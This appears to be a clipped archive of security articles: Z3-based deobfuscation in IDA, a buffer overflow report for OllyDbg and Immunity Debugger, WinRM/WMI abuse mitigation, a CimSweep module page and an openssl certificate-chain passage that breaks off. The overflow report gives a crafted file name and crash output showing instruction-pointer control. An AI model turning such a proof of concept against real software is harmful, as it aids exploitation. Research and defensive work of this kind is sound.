  918. v381 = v380 + 2 \* v379 + 1 \- 448866693;
  919. v376 -= 2055000006;
  920. v382 = 2 \* \(2 \* \(v380 + 604066061\) \+ 2\);
  921. v383 = v382 + v376 + v381 - 1881910858;
  922. v384 = v378 - 947925440 \+ 2;
  923. v385 = v384 + v383 + v382 + 842529404 \+ 1;
  924. v376 -= 168380786;
  925. ++v384;
  926. v386 = v376 + v383 + 1;
  927. v387 = v376 - v384 + 1919090703;
  928. v388 = 2 \* \(v384 + 1 \- v386 + 1\) \- 376075359 \- v387;
  929. v389 = v388 + v386 - 1078951762;
  930. v388 += 4;
  931. v390 = v388 + v387 + 1;
  932. v388 += 1398399335;
  933. v391 = v390 + v385 - 1475310267 \- v389 + 1 \+ 9540715;
  934. v392 = v389 - 1641637778 \+ 2 \- v388 + 2;
  935. v393 = v388 - 1972219276 \+ 1;
  936. v392 -= 866747255;
  937. v394 = v392 + v390 - 1373171668 \+ 1586106979;
  938. v395 = v393 + v391 - 931348898;
  939. v396 = v394 + v392 - 1900058436 \- v395;
  940. v397 = 2 \* v394 + 1334476417;
  941. v398 = v396 - 467332541 \+ 1817029648;
  942. v399 = 2 \* \(v393 + 808026034\) \- 1047285892 \+ 609483421 \- v397;
  943. v395 += 1953163588;
  944. v400 = v397 - 292607806 \- v399 - 42192282 \- v395 + 1;
  945. v401 = v399 + 1 \- v398 + 1;
  946. v402 = v395 + 1 \- v401;
  947. v403 = v400 - v402;
  948. v404 = v401 + 1 \- v403 + 1872425146;
  949. v405 = v398 - 195196821 \+ 377105645 \- v404 - v404;
  950. v406 = v402 - v404;
  951. v407 = v404 - 1842186611 \+ 547686199;
  952. v408 = v407 + v403 + 1374530959 \- v405 + 1 \- 184314042;
  953. v409 = v405 - 1871472347 \+ 1;
  954. v410 = v409 + v406;
  955. v409 += 2027045620;
  956. v411 = v409 + v410 - 855357098 \+ 1 \- 2037318886;
  957. v412 = v411 + v408 + 1324830997 \- v409 + 1863672173;
  958. v413 = 2 \* \(v407 - 1311778367\) \+ 1;
  959. v414 = v413 + v411;
  960. v409 += 638982232;
  961. v415 = v412 - 1420319999 \- v409 + 1706741566;
  962. v413 += 2;
  963. v416 = v409 + 600153250 \- v415 - 1749613292 \+ 1;
  964. v417 = v415 - v413;
  965. v418 = v414 - 103143630 \+ 151909657 \- v416 + 1;
  966. v419 = 2 \* v413 - v416++;
  967. v420 = v417 + 1 \- ++v419;
  968. v421 = v418 - v416 - v416 + v419;
  969. v420 -= 1385665685;
  970. return v420
  971. \+ v421
  972. \+ 1
  973. \+ 640484926
  974. \+ 2 \* \(v421 + v416 + 1815285368\)
  975. \+ v420
  976. \+ v421
  977. \+ 1
  978. \+ 640484926
  979. \+ v420
  980. \+ v421
  981. \+ 1
  982. \+ v420
  983. \+ v421
  984. \+ 1
  985. \+ v420
  986. \- 1389466703
  987. \+ 495424244
  988. \+ 2 \* \(v420 + v421 + 1 \+ 640484926\);
  989. \}

As you can see, Hex-Rays was not helpful in that case. Since IDA and Hex-Rays
are highly programmable, one can actually improve the output of the Hex-Rays
decompiler and teach it to simplify those expressions \(a topic for another
time\).

So as you can see, unless we approach this function as a blackbox algorithm,
we have no real understanding of its operation yet. We are going to use Z3 and
see if it can simplify all of those instructions into something approachable.

# Quick Z3 Primer

Dennis and Eric did a good job introducing Z3, therefore I will keep my primer
very short.

Imagine the following assembly listing:

  * .text:0040EF04 mov eax, \[ebp+c1\]
  * .text:0040EF07 mov edx, \[ebp+c2\]
  * .text:0040EF0A mov ecx, \[ebp+c3\]
  * .text:0040EF0D mov ebx, \[ebp+c4\]
  * .text:0040EF10 inc eax
  * .text:0040EF11 inc ebx
  * .text:0040EF12 inc edx
  * .text:0040EF13 inc ecx
  * .text:0040EF14 add ebx, edx
  * .text:0040EF16 add ecx, 123h
  * .text:0040EF1C add eax, ebx
  * .text:0040EF1E add ebx, 456h
  * .text:0040EF24 add edx, eax
  * .text:0040EF26 add ecx, eax
  * .text:0040EF28 add edx, ebx
  * .text:0040EF2A sub eax, 12312312h
  * .text:0040EF2F add ecx, eax
  * .text:0040EF31 add eax, ebx
  * .text:0040EF33 add eax, ecx
  * .text:0040EF35 add eax, edx
  * .text:0040EF37 mov \[ebp+result\], eax

From 0x040EF04 to 0x040EF0D, we see that _eax_ ==c1, _edx_ ==c2, _ecx_ ==c3,
_ebx_ ==c4 \(4 input arguments\). From 0x040EF10 to 0x040EF35, we see some
operations taking place and the result is copied to _eax_ at 0x040EF37.

Mathematically speaking, we can translate the above listing into a series of
expressions:

  * .text:0040EF10 eax = eax + 1
  * .text:0040EF11 ebx = ebx + 1
  * .text:0040EF12 edx = edx + 1
  * .text:0040EF13 ecx = ecx + 1
  * .text:0040EF14 ebx = ebx + edx
  * .text:0040EF16 ecx = ecx + 0x123
  * .text:0040EF1C eax = eax + ebx
  * .text:0040EF1E ebx = ebx + 0x456
  * .text:0040EF24 edx = edx + eax
  * .text:0040EF26 ecx = ecx + eax
  * .text:0040EF28 edx = edx + ebx
  * .text:0040EF2A eax = eax - 0x12312312
  * .text:0040EF2F ecx = ecx + eax
  * .text:0040EF31 eax = eax + ebx
  * .text:0040EF33 eax = eax + ecx
  * .text:0040EF35 eax = eax + edx

Let’s now give those expressions to Z3 \(note that Z3 overloads the arithmetic
operators\):

  * import z3
  *   * c1, c2, c3, c4 = z3.BitVecs\('c1 c2 c3 c4', 32\)
  *   * eax, edx, ecx, ebx = c1, c2, c3, c4
  *   * eax = eax + 1
  * ebx = ebx + 1
  * edx = edx + 1
  * ecx = ecx + 1
  * ebx = ebx + edx
  * ecx = ecx + 0x123
  * eax = eax + ebx
  * ebx = ebx + 0x456
  * edx = edx + eax
  * ecx = ecx + eax
  * edx = edx + ebx
  * eax = eax - 0x12312312
  * ecx = ecx + eax
  * eax = eax + ebx
  * eax = eax + ecx
  * eax = eax + edx
  *   * print\(eax\)

The final expression is:

  * c1 + 1 \+ c4 + 1 \+ c2 + 1 \- 305210130 +
  * c4 + 1 \+ c2 + 1 \+ 1110 \+ c3 +
  * 1 \+ 291 \+ c1 + 1 \+ c4 + 1 \+ c2 +
  * 1 \+ c1 + 1 \+ c4 + 1 \+ c2 + 1 \- 305210130 +
  * c2 + 1 \+ c1 + 1 \+ c4 + 1 \+ c2 + 1 \+ c4 + 1 +
  * c2 + 1 \+ 1110

However, we can still ask Z3 to simplify the expression by calling
z3.simplify\(eax\) and get the following simpler output:

  * 3684549565 \+ 4\*c1 + 6\*c4 + 7\*c2 + c3

Now that we have the final expression, we can evaluate its value like this:

  * solver = z3.Solver\(\)
  *   * result = z3.BitVec\('result', 32\)
  *   * solver.add\(c1 == 1, 
  * c2 == 2, 
  * c3 == 3, 
  * c4 == 4, 
  * eax == result\)
  * if solver.check\(\) == z3.sat:
  * m = solver.model\(\)
  * print\("result=%08X" % m\[result\].as\_long\(\)\)

Essentially, we are asking the solver to find the result of the expression
\(eax == result\) given that c1 == 1, c2 == 2, c3 == 3 and c4 == 4. The output
is result=DB9DC3F1.

# Converting the assembly listing to a Z3 expression

Now that we know how to manually build an expression and ask Z3 to simplify
and evaluate it, can we automatically generate the expression from the
disassembly listing?

The answer is Yes and we are going to use a similar technique to the emulation
article from last week. Instead of computing the values, we will simply be
doing Z3 arithmetics:

  1. def simplify\_func\(emu\_start, emu\_end\):
  2. \# Reset registers 
  3. regs\_initial = \{
  4. REG\_EAX: z3.BitVec\('c1', 32\),
  5. REG\_EDX: z3.BitVec\('c2', 32\),
  6. REG\_ECX: z3.BitVec\('c3', 32\),
  7. REG\_EBX: z3.BitVec\('c4', 32\),
  8. \}
  9.   10. regs = \{\}
  11. for k, v in regs\_initial.items\(\):
  12. regs\[k\] = v
  13.   14. def get\_opr\_val\(inst, regs\):
  15. if inst.Op2.type == o\_imm:
  16. return \(True, z3.BitVecVal\(inst.Op2.value, 32\)\)
  17. elif inst.Op2.type == idaapi.o\_reg:
  18. return \(True, regs\[inst.Op2.reg\]\)
  19. else:
  20. return \(False, 0\)
  21.   22. ea = emu\_start
  23. while ea <= emu\_end:
  24. ok = True
  25. inst = idautils.DecodeInstruction\(ea\)
  26. ea += inst.size
  27. if inst.itype == idaapi.NN\_dec and inst.Op1.type == idaapi.o\_reg:
  28. regs\[inst.Op1.reg\] = \(regs.get\(inst.Op1.reg, 0\) \- 1\)
  29. elif inst.itype == idaapi.NN\_inc and inst.Op1.type == idaapi.o\_reg:
  30. regs\[inst.Op1.reg\] = \(regs.get\(inst.Op1.reg, 0\) \+ 1\)
  31. elif inst.itype == idaapi.NN\_sub:
  32. ok, val = get\_opr\_val\(inst, regs\)
  33. regs\[inst.Op1.reg\] = \(regs.get\(inst.Op1.reg, 0\) \- val\)
  34. elif inst.itype == idaapi.NN\_add:
  35. ok, val = get\_opr\_val\(inst, regs\)
  36. regs\[inst.Op1.reg\] = \(regs.get\(inst.Op1.reg, 0\) \+ val\)
  37. else:
  38. ok = False
  39.   40. if not ok:
  41. return \(False, "Emulation failed at %08X" % ea\)
  42.   43. \# Simplify the final expression which is in EAX
  44. result\_expr = z3.simplify\(regs\[REG\_EAX\]\)
  45.   46. def evaluate\(c1, c2, c3, c4\):
  47. """Capture the context and return a function that can be used to 
  48. evaluate the simplified expression given the input arguments"""
  49. s = z3.Solver\(\)
  50. r = z3.BitVec\('r', 32\)
  51.   52. \# Add contraints for input variables
  53. s.add\(regs\_initial\[REG\_EAX\] == c1, regs\_initial\[REG\_EDX\] == c2,
  54. regs\_initial\[REG\_ECX\] == c3, regs\_initial\[REG\_EBX\] == c4\)
  55.   56. \# Add the result constraint
  57. s.add\(result\_expr == r\)
  58.   59. if s.check\(\) == z3.sat:
  60. m = s.model\(\)
  61. return m\[r\].as\_long\(\)
  62. else:
  63. return None
  64.   65. return \(True, evaluate\)

The code above is very similar to what we have seen before, so I will only
explain Z3 related code:

  * Lines 3-8: Create 32-bits Z3 variables. These variables correspond to the initial variables values \(and the input values\)
  * Lines 10-12: Aliases the variables. Those aliases will be updated down the line and will contain more complicated expressions \(not just the initial values\)
  * Line 44: Get a simplified version of the final expression
  * Lines 46-63: Create a nested function that captures the current context. The evaluate function takes 4 input arguments and returns the evaluation result of the simplified expression. I return a function so that I can cache it and call it to evaluate functions in question.

To test the code, we can do something like:

  * Python>ok, challenge\_1 = simplify\_func\(0x401020, 0x40266C\)
  * Python>print\('result=%08X' % challenge\_1\(1, 2, 3, 4\)\)

We get 5E6571B0. If the code works correctly, we should also have the same
result as running the program:

  1. C:\ida-z3-tests>test 0 1 2 3 4
  2. challenge\_1\(1, 2, 3, 4\) -> 5E6571B0

You can download the full script + binary from here:

<img src='img/download-button-128.png' width='123' height='123' />

password: 123

Thanks to all those who are contributing knowledge and code to the infosec
community.  
<img src='img/separator.png' width='146' height='41' />

**You might also like:**

  * Quick introduction into SAT/SMT solvers and symbolic execution
  * Z3 API in Python
  * Writing a simple x86 emulator with IDAPython

### Share this:

  * Click to share on Twitter \(Opens in new window\)
  * Click to share on Facebook \(Opens in new window\)
  * Click to share on Google+ \(Opens in new window\)
  * 

### _Related_

StarCraft: Emulating a buffer overflow for fun and profit - REcon Brussels,
2018February 3, 2018In "emulator"

Blizzard CTF 2017 - The LichKing Reverse Engineering challenge
walkthroughFebruary 15, 2018In "blizzard"

Writing a simple x86 emulator with IDAPythonFebruary 23, 2018In "IDAPython"

  

# Exporting IDA Debug Information

**Created:**| _6/29/2017 4:12:11 PM_  
---|---  
**Updated:**| _6/29/2017 4:12:28 PM_  
**Author:**| _wishi_  
**Tags:**| _iDA_  
  

<img src='img/Exporting%20IDA%20Debug%20Information.pdf' />  

# virologizt.org: Olly Debugger / Immunity Debugger long file extension Buffer
Overflow

**Created:**| _2/20/2010 5:33:23 PM_  
---|---  
**Updated:**| _2/20/2010 5:33:28 PM_  
**Author:**| __  
**Tags:**| _Exploit_  
  

### Olly Debugger / Immunity Debugger long file extension Buffer Overflow

So today out of boredom, I discovered a bug that somehow affected both Ollydbg
and Immunity Debugger. I am not sure whether this has been discovered by
anyone in the past as I couldn't find any on Google. The bug has to do with
how both of them handle a long file extension and you can easily reproduce it
by renaming any executable file with a very long extension. As example:  
  
notepad.AAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
  
Try to load this file into ollydbg, it will then crashes and from the post-
mortem debugger, you can see that we have control over the EIP:  
  
\(758.268\): Access violation - code c0000005 \(\!\!\! second chance \!\!\!\)  
eax=00000000 ebx=00000000 ecx=6d5117d4 edx=41414141 esi=01fca1e0 edi=0202fee0  
eip=42424242 esp=0012ac8c ebp=41414141 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246  
42424242 ?? ???  
  
  
ESP will be pointing to the top of our buffer:  
  
0:000> d esp  
0012ac8c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
0012ac9c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
0012acac 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
0012acbc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
0012accc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
0012acdc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
0012acec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
0012acfc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
  
  
Immunity Debugger will also crash to this bug.

  

# Mitigating bad admin abuse of WMI over WinRM

**Created:**| _11/23/2017 9:33:28 AM_  
---|---  
**Updated:**| _11/23/2017 9:33:28 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  Mitigating bad admin abuse of WMI over WinRM

##  Introduction

  
When I created this blog back in August, I had intended to open with a
detailed posting on PowerShell Remoting that I still haven't finished yet. In
an effort to breathe new life into this space, I've decided to write a post
that piggy-backs off of content from others in the industry, hopefully adding
some useful information in the process\!  
  
Last night I read Tony Lambert's post on RedCanary's blog about Lateral
Movement Using WinRM and WMI. In it, Tony provides a great example of lateral
movement by spawning a process using WMI's win32\_process class via WinRM's
WMI plugin, covers detecting this sort of activity, and then covers some
suggestions for mitigating the threat. One of Tony's suggested mitigation
tactics is designing your network architecture in such a way as to only allow
WinRM access from secured, trusted systems. This will certainly help with
mitigating lateral movement risks with WMI over WinRM \(or other WinRM plugins
like PowerShell Remoting\), but what about the risk of a bad admin or stolen
access to this privileged system?  
  

##  Problem

  

Suppose that you have a central server for connecting to endpoints to perform
remote operations and you use PowerShell Remoting over WinRM in conjunction
with JEA to ensure that your admins can only run certain commands on endpoints
or have to go through additional restrictions like multifactor authentication
in order to perform their work. How would you stop a user with access to the
central server from circumventing your security controls by just creating
whatever processes they want via WMI over WinRM?  
  
Here's an example:  
  
Bad admin trying to use PSRemoting to launch an unauthorized executable that
is blocked by the JEA configuration for PSRemoting.  
  

<img src='img/wmi1.PNG.png' width='634' height='91' />

  
Bad admin using WMI over WinRM to launch their unauthorized executable
instead.  
  

<img src='img/wmi2.PNG.png' width='669' height='62' />

##

##  Context

  

Before we try to answer the question of how do we prevent this abuse, let's
backup and look at how this whole thing works.  
  
WMI is available as a plugin for WinRM by default, you can see all plugins
that are available at any given point with the command winrm enumerate
winrm/config/plugin -format:pretty  
  
Let's look specifically at WMI with the command winrm get
winrm/config/plugin?Name="WMI Provider" -format:pretty  
  

1 | <PlugInConfiguration Name="WMI Provider" Filename="C:\Windows\system32\WsmWmiPl.dll" SDKVersion="1" XmlRenderingType="text" UseSharedProcess="false" ProcessIdleTimeoutSec="0" RunAsUser="" RunAsPassword="" AutoRestart="false" Enabled="true" OutputBufferingMode="Block" Architecture="32" RunAsVirtualAccount="false" RunAsVirtualAccountGroups="" xml:lang="en-US" xmlns="http://schemas.microsoft.com/wbem/wsman/1/config/PluginConfiguration">  
---|---  
2 |  <Resources>  
3 |  <Resource ResourceUri="http://schemas.microsoft.com/wbem/wsman/1/wmi" SupportsOptions="true">  
4 |  <Security Uri="" ExactMatch="false" Sddl="O:NSG:BAD:P\(A;;GA;;;BA\)\(A;;GA;;;IU\)\(A;;GA;;;S-1-5-21-3463664321-2923530833-3546627382-1001\)S:P\(AU;FA;GA;;;WD\)\(AU;SA;GXGW;;;WD\)"></Security>  
5 |  <Capability Type="Identify"></Capability>  
6 |  <Capability Type="Get" SupportsFragment="true"></Capability>  
7 |  <Capability Type="Put" SupportsFragment="true"></Capability>  
8 |  <Capability Type="Invoke"></Capability>  
9 |  <Capability Type="Create"></Capability>  
10 |  <Capability Type="Delete"></Capability>  
11 |  <Capability Type="Enumerate" SupportsFiltering="true"></Capability>  
12 |  <Capability Type="Subscribe" SupportsFiltering="true"></Capability>  
13 |  </Resource>  
14 |  <Resource ResourceUri="http://schemas.dmtf.org/wbem/wscim/1/cim-schema" SupportsOptions="true">  
15 |  <Security Uri="" ExactMatch="false" Sddl="O:NSG:BAD:P\(A;;GA;;;BA\)\(A;;GA;;;IU\)\(A;;GA;;;S-1-5-21-3463664321-2923530833-3546627382-1001\)S:P\(AU;FA;GA;;;WD\)\(AU;SA;GXGW;;;WD\)"></Security>  
16 |  <Capability Type="Get" SupportsFragment="true"></Capability>  
17 |  <Capability Type="Put" SupportsFragment="true"></Capability>  
18 |  <Capability Type="Invoke"></Capability>  
19 |  <Capability Type="Create"></Capability>  
20 |  <Capability Type="Delete"></Capability>  
21 |  <Capability Type="Enumerate"></Capability>  
22 |  <Capability Type="Subscribe" SupportsFiltering="true"></Capability>  
23 |  </Resource>  
24 |  <Resource ResourceUri="http://schemas.dmtf.org/wbem/wscim/1/\*" SupportsOptions="true" ExactMatch="true">  
25 |  <Security Uri="" ExactMatch="false" Sddl="O:NSG:BAD:P\(A;;GA;;;BA\)\(A;;GA;;;IU\)\(A;;GA;;;S-1-5-21-3463664321-2923530833-3546627382-1001\)S:P\(AU;FA;GA;;;WD\)\(AU;SA;GXGW;;;WD\)"></Security>  
26 |  <Capability Type="Enumerate" SupportsFiltering="true"></Capability>  
27 |  <Capability Type="Subscribe" SupportsFiltering="true"></Capability>  
28 |  </Resource>  
29 |  <Resource ResourceUri="http://schemas.dmtf.org/wbem/cim-xml/2/cim-schema/2/\*" SupportsOptions="true" ExactMatch="true">  
30 |  <Security Uri="" ExactMatch="false" Sddl="O:NSG:BAD:P\(A;;GA;;;BA\)\(A;;GA;;;IU\)\(A;;GA;;;S-1-5-21-3463664321-2923530833-3546627382-1001\)S:P\(AU;FA;GA;;;WD\)\(AU;SA;GXGW;;;WD\)"></Security>  
31 |  <Capability Type="Get" SupportsFragment="false"></Capability>  
32 |  <Capability Type="Enumerate" SupportsFiltering="true"></Capability>  
33 |  </Resource>  
34 |  </Resources>  
35 |  <Quotas MaxConcurrentUsers="2147483647" MaxConcurrentOperationsPerUser="2147483647" MaxConcurrentOperations="2147483647"></Quotas>  
36 | </PlugInConfiguration>  
view raw WMIPlugin.xml hosted with ❤ by GitHub

  
Above, you can see the plugin configuration for the WMI plugin for WinRM. You
may notice some familiar terms that were in Tony's post, such as the
capability type Invoke which was used to call the create method on the
win32\_process class. You could also leverage other capability types like
enumerate fairly easily with winrm enumerate wmicimv2/win32\_process to
enumerate processes on a machine.  
  
So how do we prevent this plugin from being abused?  
  

##

##  Solution

  

There are many ways to approach this problem, each with their own pros and
cons. While reviewing the plugin configuration above, I noticed the Security
tags in each resource section with a SDDL string. If I toss that string
against PowerShell's ConvertFrom-SDDLString, you can see what access it is
granting

  

1 | PS C:\> ConvertFrom-SddlString "O:NSG:BAD:P\(A;;GA;;;BA\)\(A;;GA;;;IU\)\(A;;GA;;;S-1-5-21-3463664321-2923530833-3546627382-1001\)S:P\(AU;FA;GA;;;WD\)\(AU;SA;GXGW;;;WD\)"  
---|---  
2 |   
3 |   
4 | Owner : NT AUTHORITY\NETWORK SERVICE  
5 | Group : BUILTIN\Administrators  
6 | DiscretionaryAcl : \{NT AUTHORITY\INTERACTIVE: AccessAllowed \(GenericAll\), BUILTIN\Administrators: AccessAllowed \(GenericAll\), : AccessAllowed \(GenericAll\)\}  
7 | SystemAcl : \{Everyone: SystemAudit FailedAccess \(GenericAll\), Everyone: SystemAudit SuccessfulAccess \(GenericExecute, GenericWrite\)\}  
8 | RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor  
view raw sddl.ps1 hosted with ❤ by GitHub

  
As you can see administrators have free reign over this plugin. With that in
mind, a few solutions come to mind  

  1. Change the SDDL, granting a more specific group access. I have not tried this personally, but I would speculate it ought to work. However, I don't think it solves our problem. What if your bad admin is in that specific group too?
  2. Setup PowerShell Remoting to not require membership in the local administrators group. While this is supposed to be possible, I to this day have been unable to do this successfully. Additionally, this still leaves WMI open for abuse.

But what if we tried something a little more aggressive? What if we simply
disable the WMI plugin from WinRM? If you aren't using it legitimately, why
leave it around for someone to abuse?

  

###  Disabling the WMI plugin for WinRM

  

To disable the WMI plugin for WinRM, run the PowerShell command set-item -Path
"WSMan:\localhost\Plugin\WMI Provider\Enabled" -Value $false and restart the
WinRM service.

  

Let's see how our bad admin is doing with this plugin disabled

  

<img src='img/wmi3.PNG.png' width='1039' height='86' />

  

Awesome\!

  

But wait just a minute, there's one more problem to solve. WinRM is completely
configurable remotely, so what happens if the bad admin turns WMI back on
remotely?

  

While I've not figured out the correct parameters to flip the switch back to
on using the winrm command, I would speculate it is possible.

  

I would advise that you setup auditing on
HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin
and all subkeys. This will cover someone enabling the WMI plugin, creating a
new plugin that's the same as the WMI plugin but under a different name, and
creating unapproved PSRemoting PSSessionConfigurations. You can audit with
either Windows' built-in advanced security settings, or a tool like Sysmon.
From there you could centrally forward and alert on Security event ID 4663 or
Sysmon event IDs 12-14.

  

  

I hope this information was useful, with my limited free time I think it'll be
easier for me to write posts like this that just add onto other posts in the
industry. Feel free to reach out to me on twitter or leave a comment with any
feedback\!

  

  

  

By  Eric at November 21, 2017

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

<img src='img/GooglePlus.svg' width='42' height='30' />

Labels: powershell, psremoting, redcanary, remoting, winrm, wmi

  

  *[November 21, 2017]: 2017-11-21T10:10:00-08:00

# SimpleSocketFuzzer - ARTeam Wiki

**Created:**| _11/8/2012 7:34:41 PM_  
---|---  
**Updated:**| _11/8/2012 7:34:41 PM_  
**Author:**| __  
**Tags:**| _network-security fuzzing_  
  
SimpleSocketFuzzer - ARTeam Wiki

# CimSweep

**Created:**| _5/14/2017 12:03:18 PM_  
---|---  
**Updated:**| _5/14/2017 12:03:18 PM_  
**Author:**| __  
**Tags:**| _powershell windows environment_  
  

  

# CimSweep

## 0.6.0.0

CimSweep is a suite of CIM/WMI-based tools that enable the ability to perform
incident response and hunting operations remotely across all versions of
Windows. CIM/WMI obviates the need for the installation of a host-based agent.
The WMI service is running by default on all versions of Windows.

### Inspect

` PS> Save-Module -Name CimSweep -Path <path> `

### Install

` PS> Install-Module -Name CimSweep `

### Deploy

See Documentation for more details.

### Release Notes

0.6.0  
\-----  
Enhancements:  
\* Added Get-CSInstalledAppCompatShimDatabase  
\* Added Get-CSBitlockerKeyProtector  
\* Get-CSWmiPersistence now also detects persistence in the root/default
namespace.  
\* Added Get-CSDeviceGuardStatus  
\* Added positional parameters for Name parameters for Get-CSEventLogEntry,
Get-CSService, Get-CSProcess, Get-CSEnvironmentVariable, and Get-
CSWmiNamespace.  
  
Removed:  
\* Removed the -NoProgressBar parameter from all functions since this is what
$ProgressPreference is for.  
\* Removed Set-DefaultDisplayProperty helper function and all calls to it. It
was creating unnecessary code complexity.  
\* Removed -OperationTimeoutSec param from all functions. Was creating
unnecessary code complexity.  
  
General changes:  
\* Reorganized the folder structure and removed any offensive code.  
\* A decision was also made that CimSweep will only ever have Get- functions.
Considering CimSweep is designed to pull information at scale, it should never
perform any action that would change system state.  
\* Applied PSScriptAnalyzer rules to test code and addressed its findings.  
  
0.5.1  
\-----  
Enhancements:  
\* Added Get-CSAVInfo \(written by @xorrior\)  
\* Added Get-CSProxyConfig \(written by @xorrior\)  
\* Added module-wide Pester tests to ensure consistency across functions.  
  
Removed:  
\* Removed the -Path parameter from Get-CSRegistryKey and Get-CSRegistryValue.
-Hive should be used.  
  
0.5.0  
\-----  
Enhancements:  
\* Added Get-CSWmiNamespace  
\* Added Get-CSVulnerableServicePermission  
\* -IncludeACL added to Get-CSRegistryKey, Get-CSDirectoryListing, Get-
CSService, and Get-CSWmiNamespace.  
\* -IncludeFileInfo added to Get-CSService. The file info returned also
includes the file ACL.  
\* Functions that accept exact datetimes now mask off milliseconds to enable
more flexible time-based sweeps with second granularity.  
\* Added optional -UserModeServices and -Drivers switches to Get-CSService.
This is helpful if you only want drivers or only want user-mode services.  
  
Removed:  
\* Dropped -Drivers and -Services from Get-CSRegistryAutoStart. Get-CSService
is the ideal means of obtaining service and driver information.  
  
0.4.1  
\-----  
\* Bigfix: Forgot to rename Set-DefaultDisplayProperty in Get-
CSRegistryAutoStart.  
\* Enhancement: Addressed PSScriptAnalyzer warnings  
  
0.4.0  
\-----  
\* Compatible PS Editions: Desktop, Core \(i.e. Nano Server and Win 10 IoT\)  
\* -IncludeAcl switch added to Get-CSRegistryKey and Get-CSDirectoryListing.
Appending this argument will add an ACL parameter to each object returned.  
\* The output types of all functions are now fully and properly documented.

### Owners

  * <img src='img/92576aff0f3e91004fdd1e76cfd3826d.png' width='32' height='32' alt='gravatar' /> mattifestation

### Authors

Matthew Graeber

### Copyright

BSD 3-Clause

### FileList

Show

### Tags

  * security
  * DFIR
  * defense

### Cmdlets

This module has no cmdlets.

### Functions

  * Get-CSRegistryKey
  * Get-CSRegistryValue
  * Get-CSMountedVolumeDriveLetter
  * Get-CSDirectoryListing
  * Get-CSEventLog
  * Get-CSEventLogEntry
  * Get-CSService
  * Get-CSProcess
  * Get-CSEnvironmentVariable
  * Get-CSRegistryAutoStart
  * Get-CSScheduledTaskFile
  * Get-CSTempFile
  * Get-CSLowILPathFile
  * Get-CSShellFolderPath
  * Get-CSStartMenuEntry
  * Get-CSTypedURL
  * Get-CSWmiPersistence
  * Get-CSWmiNamespace
  * Get-CSVulnerableServicePermission
  * Get-CSAVInfo
  * Get-CSProxyConfig
  * Get-CSInstalledAppCompatShimDatabase
  * Get-CSBitlockerKeyProtector
  * Get-CSDeviceGuardStatus

### DSC Resources

This module has no DSC resources.

### Workflows

This module has no workflows.

### Role Capabilities

This module has no role capabilities.

### Dependencies

This module has no dependencies.

### Minimum PowerShell version

3.0

### Version History

Version  |  Downloads  |  Last updated   
---|---|---  
CimSweep 0.6.0.0 \(this version\) |  8  |  Saturday, May 13 2017   
CimSweep 0.5.1.0  |  186  |  Saturday, October 08 2016   
CimSweep 0.5.0.0  |  114  |  Saturday, May 28 2016   
CimSweep 0.4.1.0  |  15  |  Monday, May 16 2016   
CimSweep 0.4.0.0  |  6  |  Monday, May 16 2016   
  

# Manual Verification of SSL/TLS Certificate Trust Chains using Openssl

**Created:**| _4/25/2010 2:49:07 PM_  
---|---  
**Updated:**| _4/25/2010 2:49:24 PM_  
**Author:**| __  
**Tags:**| _web-app-sec web crypto howto_  
  

Manual Verification of SSL/TLS Certificate Trust Chains using Openssl

Share |

Published: 2010-04-25,  
Last Updated: 2010-04-25 08:16:42 UTC  
by Raul Siles \(Version: 1\)

0 comment\(s\)

/\* This is a blog cross-post from a **two-part article** published on
**Taddong's Security Blog** \*/

This week, during my Internet Storm Center \(ISC\) shift, Firefox 3.6.3 \(the
latest available version\) displayed a digital certificate error when
accessing the ISC login page through SSL/TLS:
_https://isc.sans.org/myisc.html_. I confirmed this on a couple of Firefox
instances running on Mac OS X and Windows XP.

<img src='img/Temp2_5201.png' />

We also got a few reports from ISC readers on the same issue, although other
people running the same browser version, and even language \(EN\), on the same
OS platforms, didn't get any error message. Finally, the reason was a new ISC
digital certificate had been recently installed, and the required intermediate
certificate was missing in some web browsers. As a result, the browser
couldn't validate the full digital certificate chain to ensure you were really
connecting to the website you intended to connect to.

This is a common scenario on security incidents, where Man-in-the-Middle
\(MitM\) attacks or direct web server breaches modify the SSL/TLS certificate
offered to the victim, and when accidentally accepted, the attacker can
intercept and modify the "secure" HTTPS channel. As you may find yourself
dealing with a similar situation in the future...  _how can you \(as I did\)
check what is the real reason behind the SSL/TLS certificate validation
error?_ By **manually verifying the SSL/TLS certificate trust chain** , or
certificate hierarchy, **through openssl**.

The goal is to manually follow all the validation steps that are commonly
performed it an automatic way by the web browser.

**Step 1** : Check the certificate validation error and download the
controversial digital certificate.

`**$ openssl s_client -connectisc.sans.org:443**  
depth=0 /C=US/postalCode=20814/ST=Maryland/L=Bethesda/streetAddress=Suite
205/streetAddress=8120 Woodmont Ave/O=The SANS Institute/OU=Network Operations
Center (NOC)/OU=Comodo Unified Communications/CN=isc.sans.org  
**verify error:num=20:unable to get local issuer certificate**  
verify return:1  
depth=0 /C=US/postalCode=20814/ST=Maryland/L=Bethesda/streetAddress=Suite
205/streetAddress=8120 Woodmont Ave/O=The SANS Institute/OU=Network Operations
